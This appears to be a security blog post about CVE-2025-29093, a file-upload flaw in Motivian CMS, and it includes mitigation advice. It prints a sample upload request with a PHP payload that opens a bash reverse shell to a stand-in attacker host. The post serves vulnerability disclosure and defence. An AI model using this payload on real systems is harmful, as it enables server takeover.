Overview
In the rapidly evolving landscape of digital security, identifying and mitigating vulnerabilities is a crucial task. One such vulnerability, CVE-2025-29093, presents a pressing concern, especially for organizations using Motivian Content Management System (CMS) v.41.0.0. This vulnerability allows a potential attacker to upload malicious files and execute arbitrary code, posing a significant risk to the integrity, availability, and confidentiality of the affected systems.
This blog post will delve into the specifics of this CVE, discussing its severity score, potential impact, and possible attack vector. Our aim is to provide a comprehensive understanding of the vulnerability and how to effectively mitigate its impact.
Vulnerability Summary
CVE ID: CVE-2025-29093
Severity: High (CVSS score 8.2)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Motivian CMS | v.41.0.0
How the Exploit Works
The exploit takes advantage of a weakness in the Content/Gallery/Images component of the Motivian CMS. In the absence of adequate input validation and sanitization, an attacker can upload a file with arbitrary code encapsulated within it. Once uploaded, the attacker can trigger the execution of the code, which may lead to unauthorized system access, data manipulation, or even a full system compromise.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. Please note that this is a simplified representation and actual exploit codes may vary in complexity.
POST /Content/Gallery/Images HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=abc
--abc
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/php
<?php
// malicious payload
exec("/bin/bash -c 'bash -i > /dev/tcp/attacker.com/8080 0>&1'");
?>
--abc--
This example attempts to upload a PHP file containing a payload that establishes a reverse shell to the attacker’s machine. Upon successful upload and execution, the attacker would have a shell on the target system.
Mitigation Guidance
Users of Motivian CMS v.41.0.0 are strongly urged to apply the vendor-supplied patch to resolve this vulnerability. In cases where immediate patching is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Additionally, regularly monitoring system logs and network traffic can help detect any unusual activity or potential exploit attempts.